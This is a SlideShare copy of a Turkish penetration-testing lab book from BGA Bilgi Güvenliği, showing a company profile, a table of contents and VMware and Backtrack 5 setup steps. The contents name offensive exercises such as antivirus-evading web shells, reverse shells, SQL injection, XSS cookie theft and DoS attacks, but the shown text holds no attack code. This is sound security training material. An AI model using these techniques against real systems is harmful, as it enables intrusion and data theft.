Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı

1,826 views

Published on

Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabımız Celal ERDİK & Onur ALANBEL tarafından hazırlanmıştır.

Published in: Internet

Web ve Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı

  1. 1. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Web/Mobil Uygulama Güvenlik Testleri Eğitimi Uygulama Kitabı Yazarlar: Celal ERDİK & Onur ALANBEL Katkıda Bulunanlar: Ömer ALBAYRAK, Huzeyfe ÖNAL, Ender AKBAŞ Baskı: Aralık, 2013
  2. 2. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity BGA Bilgi Güvenliği A.Ş. Hakkında BGA Bilgi Güvenliği A.Ş. 2008 yılından bu yana siber güvenlik alanında faaliyet göstermektedir. Ülkemizdeki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacı ile kurulan BGA Bilgi Güvenliği,stratejik siber güvenlikdanışmanlığı ve güvenlik eğitimleri konularında kurumlara hizmet vermektedir. Uluslararası geçerliliğe sahip sertifikalı 50 kişilikteknik ekibi ile,faaliyetlerini Ankara ve İstanbul ve USA’da sürdüren BGA Bilgi Güvenliği’ninilgi alanlarını “Sızma Testleri, Güvenlik Denetimi, SOME, SOC Danışmanlığı, Açık Kaynak Siber Güvenlik Çözümleri, Büyük Veri Güvenlik Analizi ve Yeni Nesil Güvenlik Çözümleri”oluşturmaktadır. Gerçekleştirdiği başarılı danışmanlık projeleri ve eğitimlerle sektörde saygın bir yer edinen BGA Bilgi Güvenliği, kurulduğu günden bugüne alanında lider finans, enerji, telekom ve kamu kuruluşlarına 1.000'den fazlaeğitimve danışmanlıkprojelerigerçekleştirmiştir. BGA Bilgi Güvenliği, kurulduğu 2008 yılından beri ülkemizde bilgi güvenliği konusundaki bilgi ve paylaşımlarınartmasıamacı ile güvenlike-postalisteleri oluşturulması,seminerler,güvenliketkinlikleri düzenlenmesi, üniversite öğrencilerine kariyer ve bilgi sağlamak için siber güvenlik kampları düzenlenmesi ve sosyal sorumlulukprojeleri gibi birçokkonudagönüllüfaaliyetlerde bulunmuştur. BGA Bilgi Güvenliği AKADEMİSİ Hakkında BGA Bilgi GüvenliğiA.Ş.’nineğitimve sosyalsorumlulukmarkasıolarakçalışanBilgi Güvenliği AKADEMİSİ,sibergüvenlikkonusundaticari,gönüllüeğitimlerindüzenlenmesi ve sibergüvenlik farkındalığını arttırıcı gönüllüfaaliyetleri yürütülmesindensorumludur.Bilgi Güvenliği AKADEMİSİ markasıylabugüne kadar“SiberGüvenlik Kampları”,“SiberGüvenlikStaj Okulu”,“SiberGüvenlikAr- Ge DestekBursu”, ”Ethical Hackingyarışmaları” ve “SiberGüvenlikKütüphanesi” gibi birçok gönüllü faaliyetindestekleyici olmuştur.
  3. 3. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity İçindekiler Vmware Sanallaştırma Platformu...............................................................................................9 Windows Sistemlere Vmware Player Kurulumu ........................................................................9 Ön Gereksinimler....................................................................................................................9 Kurulum Aşaması....................................................................................................................9 Linux Sistemlere Vmware Player Kurulumu ...............................................................................9 Ön Gereksinimler....................................................................................................................9 Kurulum Aşaması..................................................................................................................10 Vmware Player Pencereleri ......................................................................................................10 Yeni Sanal İşletim Sistemi Oluşturmak .....................................................................................11 Varolan Bir Vmware İmajını içe Aktarmak...............................................................................14 VMware Tools Kurulumu..........................................................................................................16 Windows Sistemlere Vmware Tools Kurulumu....................................................................16 Linux Sistemlere Vmware Tools Kurulumu...........................................................................16 VMware Network Ayarları........................................................................................................17 VMware Ağ Arabiriminin MAC Adresini Değiştirmek...............................................................18 Backtrack 5 R3 Kurulumu .........................................................................................................19 Backtrack Temelleri ..................................................................................................................19 Backtrack Kurulumu .................................................................................................................19 Adım Adım VMware Imajı Oluşturmak.................................................................................20 Adım Adım Backtrack Kurulumu...........................................................................................23 Backtrack VMware İmajı Kullanımı...........................................................................................26 Güncelleme...............................................................................................................................27 Paket Deposunu Güncelleme ...............................................................................................27 Uygulama Güncelleme .........................................................................................................28 Örnek Uygulama Güncelleme...........................................................................................29 Backtrack Linux Dağıtımını Güncelleme ...............................................................................29 Backtrack Linux Dağıtımı Genel Ayarları...............................................................................29 Hostname .........................................................................................................................29 Password...........................................................................................................................29 Klavye................................................................................................................................30 Ekran Çözünürlüğü ...........................................................................................................31 Network Ayarları...................................................................................................................31 Dhcp ile IP Almak..............................................................................................................31 Sabit IP Ataması................................................................................................................32
  4. 4. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Gateway Tanımlama.........................................................................................................33 DNS Tanımlama ................................................................................................................33 Static Route Kaydı Girme ..................................................................................................34 Network Ayarlarının Test Edilmesi...................................................................................34 Network Ayarlarının Kalıcı Hale Getirilmesi .....................................................................36 Kablosuz Ağ Ayaları...............................................................................................................37 Backtrack Temel Ayarları..........................................................................................................41 Web Application Pentest Lab Uygulamaları.............................................................................45 Uygulama No: BGA-WPT-01 .....................................................................................................45 Uygulama Adı: HTTP Parameter Pollution Kullanarak WAF Atlatma ...............................45 Uygulama No: BGA-WPT-02 .....................................................................................................47 Uygulama Adı: HTML Form Tabanlı Kaba Kuvvet Saldırıları.............................................47 Uygulama No: BGA-WPT-03 .....................................................................................................53 Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - Java Script.........................53 Uygulama No: BGA-WPT-04 .....................................................................................................58 Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - HTML Form.......................58 Uygulama No: BGA-WPT-05 .....................................................................................................59 Uygulama Adı: Sqlmap Kullanarak Blind Sqli Veri Çekme ................................................59 Uygulama No: BGA-WPT-06 .....................................................................................................62 Uygulama Adı: SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass ...................62 Uygulama No: BGA-WPT-07 .....................................................................................................65 Uygulama Adı: Web Testlerinde Saldırı Engelleme Sistemini Atlatma ............................65 Uygulama No: BGA-WPT-08 .....................................................................................................66 Uygulama Adı: Encoding Kullanarak IPS Şaşırtma ............................................................66 Uygulama No: BGA-WPT-09 .....................................................................................................68 Uygulama Adı: Web Uygulama Testlerinde Encoding Yöntemleri ve Kullanım Alanları ..68 Uygulama No: BGA-WPT-10 .....................................................................................................70 Uygulama Adı: Google Üzerinden Web Uygulamalarına Ait Girdi Alanlarının Belirlenmesi ..........................................................................................................................................70 Uygulama No: BGA-WPT-11 .....................................................................................................70 Uygulama Adı: Google Üzerinden Hedef Sisteme Ait Web Platformu Araştırması .........70 Uygulama No: BGA-WPT-12 .....................................................................................................71 Uygulama Adı: Directory Traversal Kullanarak Sistemde Gezinme..................................71 Uygulama No: BGA-WPT-13 .....................................................................................................73 Uygulama Adı: Desteklenen HTTP Metodlarını Belirleme................................................73
  5. 5. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-14 .....................................................................................................74 Uygulama Adı: HTTP Yetkilendirme Yöntemleri Kaba Kuvvet Saldırısı(Brute Force Attack) - Basic Authentication.......................................................................................................74 Uygulama No: BGA-WPT-15 .....................................................................................................75 Uygulama Adı: Antivirüsler Tarafından Yakalanmayan PHP Shell Oluşturma ..................75 Uygulama No: BGA-WPT-16 .....................................................................................................77 Uygulama Adı: HTTP PUT Desteği Aktif Web Sunucusu Üzerinden Sistem Ele Geçirme .77 Uygulama No: BGA-WPT-17 .....................................................................................................79 Uygulama Adı: Stored XSS Kullanarak Zararlı Yazılım Barındıran Sayfaya Yönlendirme ..79 Uygulama No: BGA-WPT-18 .....................................................................................................81 Uygulama Adı: Antivirüsler Tarafından Yakalanmayan ASP Shell Oluşturma ..................81 Uygulama No: BGA-WPT-19 .....................................................................................................83 Uygulama Adı: Time Based Blind Sqli Zafiyeti Belirleme Yöntemi ...................................83 Uygulama No: BGA-WPT-20 .....................................................................................................86 Uygulama Adı: Time Based Blind Sqli Zafiyeti Üzerinden Veri Çekme .............................86 Uygulama No: BGA-WPT-21 .....................................................................................................88 Uygulama Adı: Insecure Direct Object Reference Kullanarak Yetki İstismarı ..................88 Uygulama No: BGA-WPT-22 .....................................................................................................90 Uygulama Adı: Bir Web Sunucusu Üzerinde Bulunan Tüm Sayfaların Bulunması ...........90 Uygulama No: BGA-WPT-23 .....................................................................................................90 Uygulama Adı: Nikto Kullanarak Web Uygulamasına/Sunucuya Yönelik Statik Güvenlik Testleri..............................................................................................................................90 Uygulama No: BGA-WPT-23 .....................................................................................................91 Uygulama Adı: Komut Enjeksiyonu Kullanarak İşletim Sistemi Ele Geçirme....................91 Uygulama No: BGA-WPT-24 .....................................................................................................92 Uygulama Adı: Captcha Güvenlik Kontrolleri ve Bypass Yöntemleri................................92 Uygulama No: BGA-WPT-25 .....................................................................................................93 Uygulama Adı: Firefox Web Pentest Güvenlik Eklentileri ................................................93 Uygulama No: BGA-WPT-26 .....................................................................................................94 Uygulama Adı: XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi .....................................94 Uygulama No: BGA-WPT-26 .....................................................................................................96 Uygulama Adı: Session-Id ve Cookie Bilgilerinin İstismar Edilerek Farklı Yetkilere Geçilmesi ..........................................................................................................................96 Uygulama No: BGA-WPT-27 .....................................................................................................97 Uygulama Adı: Tomcat Kullanılan Sistemleri Ele Geçirme(.war Upload Yöntemi) ..........97 Uygulama No: BGA-WPT-28 .....................................................................................................99
  6. 6. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama Adı: Clickjacking (UI Redressing) .....................................................................99 Uygulama No: BGA-WPT-29 ...................................................................................................102 Uygulama Adı: Dirbuster, Wfuzz Kullanarak Alt Dizin Keşfi ...........................................102 Uygulama No: BGA-WPT-30 ...................................................................................................107 Uygulama Adı: Local File Inclusion Kullanarak Sistemden Dosya Okuma ......................107 Uygulama No: BGA-WPT-31 ...................................................................................................109 Uygulama Adı: Local File Inclusion Kullanarak Sisteme Arka Kapı Yerleştirme..............109 Uygulama No: BGA-WPT-32 ...................................................................................................115 Uygulama Adı: HTML Form Tabanlı Brute Force Saldırıları............................................115 Uygulama No: BGA-WPT-33 ...................................................................................................119 Uygulama Adı: XSS Tespiti İçin Kullanılan Gelişmiş Payload Örnekleri ..........................119 Uygulama No: BGA-WPT-34 ...................................................................................................120 Uygulama-Adı: HTTP GET Flood DoS/DDoS Saldırısı Gerçekleştirme.............................120 Uygulama No: BGA-WPT-35 ...................................................................................................122 Uygulama-Adı: HTTP Slowloris DoS Saldırısı Gerçekleştirme .........................................122 Uygulama No: BGA-WPT-36 ...................................................................................................124 Uygulama-Adı: OWASP HTTP DoS Aracı Kullanarak Web Stres Testleri ........................124 Uygulama No: BGA-WPT-37 ...................................................................................................125 Uygulama-Adı: SSL Kullanarak DoS Gerçekleştirme .......................................................125 Uygulama No: BGA-WPT-38 ...................................................................................................126 Uygulama-Adı:Antivirüsler Tarafından Yakalanamayan JSP Shell Oluşturma................126 Uygulama No: BGA-WPT-39 ...................................................................................................127 Uygulama-Adı: Uzaktan Web Sunucu Sürüm Bilgisi ve Güvenlik Zafiyetlerini Belirleme ........................................................................................................................................127 Uygulama No: BGA-WPT-40 ...................................................................................................128 Uygulama-Adı:JBOSS JMX-Console Yetkilendirme Atlatma Zafiyeti İstismarı................128 Uygulama No: BGA-WPT-41 ...................................................................................................129 Uygulama-Adı: Flash Uygulama Testlerinde Swf Decompile .........................................129 Uygulama No: BGA-WPT-42 ...................................................................................................130 Uygulama-Adı: İçerik Yönetim Sistemlerine Yönelik Güvenlik Testleri (Wordpress,Joomla) .......................................................................................................130 Uygulama No: BGA-WPT-43 ...................................................................................................132 Uygulama-Adı: Nessus Kullanarak Web Uygulama Güvenlik Testleri............................132 Uygulama No: BGA-WPT-44 ...................................................................................................133 Uygulama-Adı: Web Servis Uygulama Güvenlik Testleri................................................133 Uygulama No: BGA-WPT-45 ...................................................................................................134
  7. 7. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama-Adı: Webdav Servisine Yönelik Keşif ve Sızma Girişimleri ............................134 Uygulama No: BGA-WPT-46 ...................................................................................................141 Uygulama-Adı: PHP ile Reverse Shell Elde Etme ............................................................141 Uygulama No: BGA-WPT-47 ...................................................................................................144 Uygulama-Adı: ASP ile Reverse Shell Elde Etme.............................................................144 Uygulama No: BGA-WPT-48 ...................................................................................................146 Uygulama-Adı: OWA(Outlook Web App.) Yönelik Kaba Kuvvet(Brute Force) Çalışmaları ........................................................................................................................................146 Uygulama No: BGA-WPT-49 ...................................................................................................149 Uygulama-Adı: Wordpress Sistemlere Yönelik Sızma Çalışmaları..................................149 Uygulama No: BGA-WPT-50 ...................................................................................................154 Uygulama-Adı: Mysql Load_file() ve Into outfile() Fonksiyonları Aracılığı ile Sistemlere Shell Atma....................................................................................................................154 Uygulama No: BGA-WPT-51 ...................................................................................................157 Uygulama-Adı: Web Sunucu Loglarında Saldırı Analizi ..................................................157 Uygulama No: BGA-WPT-52 ...................................................................................................164 Uygulama-Adı: Arachni Kullanarak Web Uygulama Testleri Gerçekleştirme ................164 Uygulama No: BGA-WPT-53 ...................................................................................................169 Uygulama-Adı: Web Uygulama Test Araçlarını SSH Tünel Üzerinden Kullanma ...........169 Uygulama No: BGA-WPT-54 ...................................................................................................171 Uygulama-Adı: Web Uygulama Testlerinde Antivirüs Atlatmak için Alternatif Web Shell Upload Çalışmaları..........................................................................................................171 Uygulama No: BGA-WPT-55 ...................................................................................................175 Uygulama-Adı:Burp Suite Eklenti Kullanımı ...................................................................175 1. Adım:...............................................................................................................................176 ........................................................................................................................................177 Uygulama No: BGA-WPT-56 ...................................................................................................179 Uygulama-Adı: Sqlmap ile Web Uygulama Testlerinde IPS/WAF Atlatma.....................179 Uygulama No: BGA-WPT-57 ...................................................................................................182 Uygulama-Adı: HPP (HTTP Parameter Pollution) Zafiyeti ..............................................182 Uygulama No: BGA-WPT-58 ...................................................................................................185 Uygulama-Adı: W3af Aracını Proxy Olarak Kullanarak Web Uygulama Testleri Gerçekleştirme ...............................................................................................................185 Uygulama No: BGA-WPT-59 ...................................................................................................188 Uygulama-Adı: Web Uygulama Güvenlik Testlerinde İleri Seviye Sqlmap Kullanımı.....188 Uygulama No: BGA-WPT-60 ...................................................................................................192
  8. 8. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama-Adı:Local File Inclusion Kullanarak Shell Elde Etme......................................192 http://3.3.3.12/mutillidae/index.php ............................................................................193 Uygulama No: BGA-WPT-61 ...................................................................................................199 Uygulama-Adı: Webshell Üzerinden Default RDP Portunu Değiştirerek Firewall Atlatma ........................................................................................................................................199 Uygulama No: BGA-WPT-62 ...................................................................................................200 Uygulama-Adı: Android Uygulamaları İçin Test Ortamının Oluşturulması ....................200 Uygulama No: BGA-WPT-63 ...................................................................................................204 Uygulama-Adı: Android Uygulamarını Proxy Üzerinden Geçirme .................................204 Uygulama No: BGA-WPT-64 ...................................................................................................210 Uygulama-Adı: Uygulama Sertfikalarının Mobil Cihazda Trusted Listesine Aldırılması.210 Uygulama No: BGA-WPT-65 ...................................................................................................211 Uygulama-Adı: Android Debug Bridge (adb) Kullanımı..................................................211 Uygulama No: BGA-WPT-66 ...................................................................................................213 Uygulama-Adı: Emülatör Üzerinden .apk Uzantılı Mobil Uygulamaların Kurulumu ......213 Uygulama No: BGA-WPT-67 ...................................................................................................214 Uygulama-Adı: Android Uygulamalarına Ait Local Veritabanı Testleri ..........................214 Uygulama No: BGA-WPT-68 ...................................................................................................216 Uygulama-Adı: Android Uygulamalarda Sql İnjection Açıklığı Tespiti............................216 Uygulama No: BGA-WPT-69 ...................................................................................................218 Uygulama-Adı: Android Uygulamalarda Ön Bellek(Cache) İnceleme ...........................218 Uygulama No: BGA-WPT-70 ...................................................................................................219 Uygulama-Adı: Android Uygulamalarda Log Görüntüleme ve Analizi ...........................219 Uygulama No: BGA-WPT-71 ...................................................................................................221 Uygulama-Adı: iOS uygulamaları İçin Test Ortamının Oluşturulması.............................221 Uygulama No: BGA-WPT-72 ...................................................................................................223 Uygulama-Adı:Android Uygulamaların Decompile Edilmesi..........................................223 Uygulama No: BGA-WPT-73 ...................................................................................................224 Uygulama-Adı:Android Uygulamaları İçin Statik Analiz Yöntem ve Araçları..................224 Uygulama No: BGA-WPT-74 ...................................................................................................225 Uygulama-Adı: iOS Uygulamaları İçin Statik Analiz Yöntem ve Araçları........................225 Uygulama No: BGA-WPT-75 ...................................................................................................227 Uygulama-Adı:GoatDroid and iGoat Kullanım Amaçları ................................................227
  9. 9. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity VmwareSanallaştırma Platformu Vmware bir sanallaştırma yazılımıdır. Tek bir fiziksel makinada, birden çok işletim sistemini bir birinden bağımsız ve aynı anda çalıştırmayı sağlar. Fiziksel donanımları sanallaştırarak her bir işletim sisteminde ayrı ayrı kullanır. Vmware player ücretsiz olarak indirip kullanılabilir. Linux ve Windows sitemleri destekler. Windows SistemlereVmwarePlayer Kurulumu Kurulum sihirbazı çalıştırılarak Windows sistemlere kurulum başlatılabilir. Ön Gereksinimler 1. 32 bit veya 64 bit windows işletim sistemi 2. Windows XP ve sonrası sistemler 3. Minimum 2 GB RAM 4. Minimum 20 GB boş disk alanı 5. Minimum 1 adet Ethernet kartı Kurulum Aşaması 1. Windows işletim sisteminize, program kurma yetkisi olan bir kullanıcı hesabı ile giriş yapınız. 2. Aşağıdaki adresden windows işletim sisteminize uygun olan vmware player sürümü indiriniz. https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_pla yer/5_0 3. Kurulum dosyasını ‘VMware-Player-xxxx-xxxx.exe’ çift tıklayarak, kurulum sihirbazı çalıştırın ve varsayılan ayarlarla kurulumu sonlandırın. Linux Sistemlere VmwarePlayer Kurulumu Vmware player bir çok linux dağıtımı desteklemektedir. Popüler linux dağıtımlarında kurulum sihirbazı grafik arabirimden çalıştırılarak kurulum tamamlanabilir. Redhat Linux gibi bazı dağıtımlarda komut satırından kurulum yapmanız gerekebilir. Bu durumda kurulum dosyası – console seçeneği ile komut satırından başlatılabilir. Ön Gereksinimler 1. 32 bit veya 64 bit windows işletim sistemi 2. Windows XP ve sonrası sistemler 3. Minimum 2 GB RAM 4. Minimum 20 GB boş disk alanı 5. Minimum 1 adet Ethernet kartı Kurulum sonrası işletim sisteminizi yeniden başlatıp Vmware Player çalıştırınız.
  10. 10. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Kurulum Aşaması 1. Linux tabanlı işletim sisteminize giriş yapın. 2. Kurulum için ‘root’ haklarına geçiş yapın. Örneğin; ‘su root’ 3. Aşağıdaki adresden linux işletim sisteminize uygun olan vmware player sürümü indiriniz. https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_pla yer/5_0 4. Komut satırından ‘sh VMware-Player-e.x.p-xxxx-xxxx.architecture.bundle’ komutu ile kurulum sihirbazını başlatın ve varsayılan ayarlarla kurulumu tamamlayın. Kurulum sonrası root haklarına tekrar ihtiyacınız olmayacaktır. İşletim sisteminizi yeniden başlatıp Vmware Player çalıştırınız. VmwarePlayer Pencereleri Bu aşamadan sonraki tüm anlatılanlar, Linux ve Windows sistemlerden bağımsız vmware player özellikleridir.  Home penceresi, yeni bir Sanal Makina (Virtual Machine) oluşturmak, varolan sanal makina imajını açmak yada vmware player için yardım almakda kullanılır.
  11. 11. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Yeni Sanal İşletim Sistemi Oluşturmak Home menüsünden ‘Create a New Virtual Machine’ seçeneği ile yeni bir sanal işletim sistemi kurulumu başlatılabilir. 1. İlk adımda, kurulacak işletim sisteminin kaynağı seçilmeldir. 1.1. İşletim sistemi CD ROM aracılığı ile seçilebilir. 1.2. İşletim sisteminin .iso dosyası diskden seçilebilir. 1.3. Veya sonraya ertelenebilir. Vmware Player, Windows ve bazı popüler Linux dağıtımları için kurulum tipini otomotik algılayabilmektedir ve kolay kurulum sihirbazı ile devam etmektedir. Seçim yapıldıkdan sonra ‘Next’ seçeneği ile sonraki adıma geçilir. 2. Windows 7 kurulumunu algıladıvekolay kurulum sihirbazını başlattı. Burada lisans bilgileri ve windows bilgileri tamamlanarak hızlı kurulum başlatılabilir. Bu aşadaman sonra Windows 7 kurulum ile ilgili ek bir soru ile karşılaşmayacaksınız.
  12. 12. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 3. Sanal makina adı ve kurulum dosyalarının tutulacağı dizin varsayılan ayarlarla bırakılabilir. Kurulum dosyalarını farklı bir dizinde saklayabilir ve kurulum amacına uygun bir isim ile devam edebilirsiniz. 4. Disk kapasitesi işletim sistemi türüne gore otomotik olarak atanır fakat minimum gereksinimleri göz önünde bulundurarak mevcut disk kapasitenize gore yükseltebilir veya azaltabilirsiniz.
  13. 13. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 5. Son aşamaya geldiğinizde kurulum özeti ile bilgilendirileceksiniz. ‘Finish’ seçeneği ile yapılandırmayı bitirdiğinizde kurulum otomotik olarak başlayacaktır.
  14. 14. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Windows kurulumundan bir görünüm Varolan Bir Vmwareİmajını içe Aktarmak Vmware aracılığıyla kurulan sanal işletim sistemleri taşınabilir, kopyalanabilir. Örneğin evinizde hazırladığınız ve hali hazırda kullandığınız bir windows vmware imajını ofisinize taşıyabilir bire bir aynı ayarlarla ofisinizdeki vmware aracılığıyla kullanabilirsiniz. Aşağıdaki örnekde Centos 5 vmware imajı içe aktarılmıştır. Bir vmware imajını içeaktarma işlemi ‘Home’ sekmesinden ‘Open a Virtual Machine’ seçeneği seçilerek VMware imajının yolu seçilir.
  15. 15. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Yukarıdaki ekran görüntüsüde görüldüğü üzere, Centos 5 kullanıma hazırdır.
  16. 16. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity VMwareTools Kurulumu VMware Tools, sanal makinanın performanslı çalışmasını ve gerçek işletim sistemi ile kolay entegre olmasını sağlar. VMware tools kurulumu sonrası, gerçek bilgisayarınızdan dosyaları sanal işletim sistemine sürükle bırak yöntemi ile aktarabilir, metinleri kopyala/yapıştır vb. Işleler yapabilirsiniz. Windows Sistemlere Vmware Tools Kurulumu 1. Player > Manage > İnstall VMware Tools Installation sekmesinden kurulum başlatılabilir. Eğer VMware Tools bilgisayarınızda yoksa otomotik olarak internetten indirilecektir. 2. VMware Tools sanal CDROM aracılığı ile işletim sistemine bağlanacaktır. Eğer autorun otomotik olarak başlamazsa ‘Bilgisayarım > DVD Drive’ çift tıklanarak kurulum başlatılabilir. 3. Kurulum sihirbazı aracılığıyla varsayılan ayarlar ile kurulum tamamlanabilir. Kurulum başarıyla tamamlandıkdan sonra sisteminizi yeniden başlatınız. Linux Sistemlere Vmware Tools Kurulumu 1. Player > Manage > İnstall VMware Tools Installation sekmesinden kurulum başlatılabilir. Eğer VMware Tools bilgisayarınızda yoksa otomotik olarak internetten indirilecektir. 2. VMware Tools sanal CDROMaracılığı ile işletimsistemine bağlanacaktır. 3. Aşağıdaki komutlar ile vmware tools default ayarları ile kurulur. # cd /media/VMware Tools/ # tar zxf VMwareTools-9.2.2-893683.tar.gz -C /tmp/ # cd /tmp/vmware-tools-distrib/ # perl vmware-install.pl –d
  17. 17. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Kurulum başarıyla tamamlandıkdan sonra, ‘reboot’ komutu ile backtrack 5 işletim sisteminin yeniden başlatılmasını tafsiye ederim. VMwareNetwork Ayarları Ağ arabirimleri üç farklı bağlantı türünü destekler; 1. Bridge: Sanal ağ arabirimi, bağlı bulunduğu fiziksel network ile haberleşebilir. Yerel ağda bulunan DHCP sunucudan ip alabilirveya sabitip ayarları ilefiziksel ağadahil olabilir. Yerel ağa bir bilgisayar dahil etmişsiniz gibi düşünebilirsiniz. Sanal bir ağ arabirimi fakat kendine ait bir MAC adresi bulunuyor ve kendi MAC adresi ile yerel ağda iletişim kuruyor. 2. NAT: VMware üzerinde çalışan sanal işletimsistemlerinin yerel ağa kapalı kendi aralarında iletişim kurabildikleri sanal bir ağdır. Sanal makinalara sabit ip adresi tanımlanabilir veya vmware dhcp servisiileotomotik ip adresialınabilir.Sanal sistemleraynı zamanda VMware kurulu gerçek işletim sistemi ile haberleşebilirler. 3. HostOnly: Yalnızca sanal işletim sistemlerinin bir birleri ile haberleştiği tamamen dış dünyaya kapalı bir ağ yapısıdır. VMware network ayarları aşağıdaki seçeneklerle değiştirilebilir; ‘Player > Manager > Virtual Machine Settings > Network Adapters’
  18. 18. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Backrack 5 bölümünde bu ayarların detayları uygulamalı olarak aktarılmıştır. VMwareAğ Arabiriminin MAC AdresiniDeğiştirmek VMware sanal ağ arabirimlerinin kendisine ait Mac adresleri vardır. Ağ arabiriminin Mac adresini görüntülemek ve gerektiğinde değiştirmek için ‘Player > Manager > Virtual Machine Settings > Network Adapters > Advanced’ seçeneği kullanılabilir. ‘Mac Address’ bölümünden ‘Generate’ butonu ile yeni Mac adresi üretilebilir.
  19. 19. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Backtrack 5 R3 Kurulumu Bu kitapda yer alan uygulamalar ve metasploit framework backtrack 5 r3 işletim sistemi kullanılarak gerçekleştirilmiştir. Backtrack, Ubuntu linux temelli bir dağıtımdır. Güvenlik uzmanları ve hackerlar için oluşturulmuş içerisinde açık kaynak kodlu güvenlik araçlarının hali hazırda kategoriler halinde sunulduğu bir dağıtımdır. Ağ analizi , sızma testleri (penetrasyon testi), bilgisayar ağlarında adli bilişim, zararlı yazılım analizi gibi konularda araştırma/çalışma yapan uzmanların sıklıkla kullandığı ve geliştirdiği ücretsiz ve açık kaynak bir çok yazılımı bünyesinde barındırır. Backtrack Linux dağıtımı iki farklı şekilde çalışmaktadır;  Kurulum gerektirmeksizin, LiveCD ile  Diske kurulum yaparak CD’den çalıştırma yönteminin performansı, CD okuyucunun hızına gore değişecektir. CD yalnızca okunabilir olduğundan yalnızca harici disk kullanabilirseniz very depolama imkanınız olacaktır. Tafsiye edilen yöntem, Backtrack dağıtımını diske kurmak veya sanallaştırma platformlarında kullanmak. Backtrack Temelleri Backtrack GNOME ve KDE masaüstü ortamlarına sahiptir. İndirme seçeneklerinden, alışık olduğunuz veya tercih edebileceğiniz masaüstü ortamına sahip olabilirsiniz. Bu kitapta gnome kullanılmıştır ve gnome masaüstü ortamı önerilir. Backtrack, asıl gücünü komut satırından alır Tüm linux sistemlerin en güçlü yönetim arabirimi komut satırı (konsoldur). Grafik arabirim kullanılarak erişilebilecek programların çoğu komut satırından çalışan programların/scriptlerin düzenli hale getirilmiş halidir. Backtrack Kurulumu Backtrack 5 aşağıdaki adresden, donanım mimarisine uygun 31 bit ve 64 bit seçenekleri ile indirilebilir. http://www.backtrack-linux.org/downloads/
